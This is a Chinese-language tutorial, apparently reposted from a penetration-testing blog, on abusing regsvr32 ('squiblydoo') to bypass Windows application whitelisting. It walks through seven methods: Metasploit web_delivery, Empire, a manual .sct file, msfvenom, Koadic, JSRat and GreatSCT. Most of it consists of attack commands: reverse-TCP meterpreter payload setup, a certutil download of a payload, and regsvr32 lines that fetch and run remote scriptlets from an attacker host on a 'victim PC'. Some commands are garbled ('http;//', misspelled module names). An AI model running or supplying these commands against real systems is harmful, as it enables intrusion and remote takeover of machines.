使用regsrv32.exe繞過應用程序白名單(多種方法)


0x00 regsvr簡介

regsvr32表示Microsoft注冊服務。它是Windows的命令行實用工具。雖然regsvr32有時會導致問題出現,但它是Windows系統文件中的一個重要文件。該文件位於C:\\Windows的子文件夾中。該文件能夠被查看,跟蹤和影響其他程序。它主要用於在Windows文件擴展名中注冊和取消注冊程序,因為它是.exe,它的進程廣泛地應用到OLE(對象鏈接和嵌入)、DLL(數據鏈接庫)和OCX(ActiveX控制模塊)中。上述進程在后台運行,可以通過任務管理器看到。它是微軟的可信文件之一。

0x01 regsvr運行

當你通過regsvr32中注冊一個dll文件時,有關與regsvr32關聯的程序的信息將會被添加到Windows中。然后訪問這些進程查看器以了解程序數據的位置以及如何與程序數據進行交互。在注冊一個dll文件時,會將信息添加到目錄中,以便Windows可以使用它。這些文件的整個路徑在字面上都有可執行代碼,因此Windows可以調用特定的函數。這些文件非常方便,因為當軟件更新時,這些文件會自動調用更新的版本;簡而言之,它有助於避免軟件的版本問題。通常,除了注冊和注銷dll文件外,此文件不常用

RegSvr32.exe具有以下命令行選項:

語法: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

/ u - 取消注冊server 
/ i - 調用DllInstall傳遞一個可選的[cmdline]; 當它與/u一起使用時,調用dll uninstall
/ n - 不要調用DllRegisterServer; 此選項必須與/i一起使用 
/ s - Silent;不顯示消息框

要了解更多信息,請訪問:https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages

0x02 攻擊regsvr的多種方法

  • Web delivery
  • Empire
  • Manual
  • MSFVenom
  • Koadic
  • JSRat
  • GreatSCT

1.第一種方法:Web Delivery

模塊可以快速啟動一個為payload提供服務的Web服務器。提供的命令將允許下載和執行payload。它將通過指定的腳本語言解析器或Regsvr32使用squiblydoo技術繞過應用程序白名單。此模塊的主要目的是當攻擊者必須手動輸入命令(例如命令注入)時,快速在目標計算機上建立會話:例如命令注入。

Regsvr32使用squiblydoo技術繞過應用程序白名單。簽名的Microsoft二進制文件Regsvr32能夠運行.sct文件,然后在其中執行包含PowerShell命令。兩個Web請求(即.sct文件和PowerShell下載/執行)都可以在同一端口上執行。“PSH(Binary)”會將文件寫入到硬盤中,允許自定義二進制文件被下載和執行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

復制下圖中突出被框選的代碼:

一旦該exploit被執行,您將擁有一個為您創建的URL。在受害者pc的命令提示符中運行該URL,如下所示:

regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令執行后按Enter鍵,您將擁有您的會話如下圖所示,輸入sysinfo命令獲取主機信息:

2.第二種方法:PowerShell Empire

對於我們的下一個regsvr攻擊方法,我們將使用empire。empire是一個后開發框架。到目前為止,我們必須將.sct標記與metasploit匹配,但在此方法中,我們將使用Empire框架。它只是基於python的powershell windows代理,這使得它非常有用。empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發。您可以從https://github.com/empireproject/empire 下載此框架

要了解empire的基本指南,請訪問我們的文章empire介紹https://www.hackingarticles.in/hacking-with-empire-powershell-post-extraction-agent/

啟動Empire框架后,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。要設置偵聽器,請輸入以下命令:

uselistner http
set Host http://192.168.1.109
execute

使用以上命令,您將擁有一個活動的偵聽器。鍵入back以退出偵聽器,以便啟動PowerShell。

一旦斷開了偵聽器,就需要使用exploit來創建惡意文件。empire中的stager是一段代碼段,它允許我們的惡意代碼通過被受感染主機上的代理運行這意味着要創建一個exploit,我們必須使用stager。因此,輸入以下命令:

usestager windows/launcher_sct
set listener http
execute
 

執行命令后,usestager將在/tmp中創建一個launcher.sct。現在要獲取會話,請通過輸入以下命令啟動python服務器:

python -m SimpleHTTPServer 8080

當服務器啟動時,剩下的唯一步驟是在受害者的PC中執行我們的惡意軟件。為此,在命令提示符中輸入以下命令:

regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我們使用了端口8080,因為我們的python服務器是在同一個端口上被激活

按照說明執行上述操作后,您將收到一個會話。要訪問會話,請輸入以下命令:

interact 9ATUX4M7

9ATUX4M7:是代理/會話名稱。這將因會話而異。

3.第三種方法:在sct文件中注入PowerShell代碼(手動方法)

我們的下一個方法將借助於一個exploit。我們使用的exploit將幫助我們創建一段PowerShell代碼。我們先創建PowerShell,然后進入到kali和終端並輸入命令。

運行此exploit后,它將在終端屏幕上顯示powershell代碼,如下圖所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

復制下面突出顯示的文本代碼

Regsvr32是一個命令行實用程序,用於注冊和取消注冊OLE控件,例如Windows注冊表中的DLL和ActiveX控件。Regsvr32.exe安裝在Windows XP及更高版本的Windows的%systemroot%\System32 文件夾中。

現在我們需要創建一個.sct文件,以便我們的攻擊能夠執行。我們在網上找到了一個腳本來創建.sct文件。您可以通過單擊此處訪問腳本的鏈接該腳本如下圖所示: 

復制由web-delivery創建的PowerShell代碼,並將其粘貼到上面的腳本中,在上面的腳本中它會顯示“calc.exe”,如下圖所示,然后使用.sct擴展名保存它。

然后就像上訴一樣,運行以下命令在受害者的PC中使用regsvr32.exe執行.sct文件:

regsvr32   / u   / n   / s   / i : http : //192.168.1.109/1.sct scrobj.dll

一旦執行了上述命令,您就可以通過Web_交互進行會話。要訪問會話類型“sessions 1”和“info”以獲取有關系統的基本信息。

4.第四種方法:MsfVenom

我們的下一個方法是使用msfvenom。通過這種方法,我們將創建兩個.sct文件,一個用於下載我們的惡意軟件,另一個用於執行它。但首先,讓我們開始使用MSFvenom,對於這種類型,請輸入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

使用以下命令啟動python服務器:

python -m SimpleHTTPServer 80

同時,在前一種方法中使用的同一腳本中,注入certutil.exe命令以從遠程服務器調用shell.exe文件。因此,不要使用“calc.exe”寫入以下內容,並使用.sct擴展名再次保存文件

certutil.exe -urlcache  -split  -f  http://192.168.1.109/shell.exe

我們在這里使用了certutil,因為它允許在Windows中下載文件並將文件保存為3.sct。

現在,使用以下命令運行上面的腳本:

regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll

我們將創建另一個文件來執行以前的文件“shell.exe”。為此,再次采用相同的腳本,並在其中寫入“calc.exe”;因此,寫入以下命令:

cmd /k cd c:\Users\raj & shell.exe

我們已將腳本保存為4.sct,並使用以下命令再次運行此腳本:

regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll

同時,啟動多處理程序,以獲得會話。因此,輸入以下命令:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的主機上運行命令后,你將擁有一個meterpreter會話

5.第五種方法:Koadic

我們的下一個方法是使用koadic。Koadic是一個Windows后期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework

一旦koadic啟動並運行,輸入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

在此之后,在受害者PC的命令提示符中輸入以下命令:

regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

運行上述命令后,您將擁有一個會話。要訪問會話請輸入以下命令:

zombies 0

6.第六種方法:JSRat

我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個非常小的命令和控制框架,就像koadic和Powershell Empire一樣,只為rundll32.exe和regsvr32.exe生成惡意程序。jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.sct文件。要使用此方法,請鍵入以下命令:

./JSRat.py -I 192.168.1.107 -p 4444

運行以上命令將啟動Web服務器。

在瀏覽器中打開它,如下所示。在這里,您將找到需要在受害者的PC上運行的.sct文件。

在我們獲得命令后,在運行窗口中運行命令,如下圖所示:

在命令窗口中執行命令后,您將有一個會話,如圖所示:

7.第七種方法:GreatSCT

GreatSCT是一款允許您使用Metasploit exploit並允許它繞過大多數反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以從下面地址中下載:

https://github.com/GreatSCT/GreatSCT

下載並運行后,輸入以下命令以訪問模塊:

use Bypass

然后輸入“list”以獲取模塊列表

將顯示模塊列表,如下圖所示:

從模塊列表中選擇以下選項:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,輸入1以選擇MSFVenom

然后它會詢問你payload。只需按Enter鍵,即可將Windows/MeterPreter/Reverse_TCP作為默認payload,這就是我們需要的。在此之后,我們提供192.168.1.107和指定端口(any),如下圖所示,我們將lport設置為2345。

在給出詳細信息后,它會詢問您的惡意軟件的名稱。默認情況下,它將設置名稱為“payload”,以便您可以提供名稱,或者只需按Enter鍵進行默認設置。

當你按Enter鍵時,它會生成兩個文件。其中一個是資源文件,另一個是.sct文件

現在,首先,在/usr/share/greatsct輸出中輸入以下命令啟動python的服務器:

python -m SimpleHTTPServer 80

現在在受害者PC的運行窗口中執行.sct文件,如下所示。

使用資源文件啟動multi/handler。為此,輸入以下命令:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

0x03 總結

使用regsvr32獲取會話是一種不尋常的方式,但它非常重要。因此,上述方法使用不同的工具和軟件來允許我們執行此攻擊


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM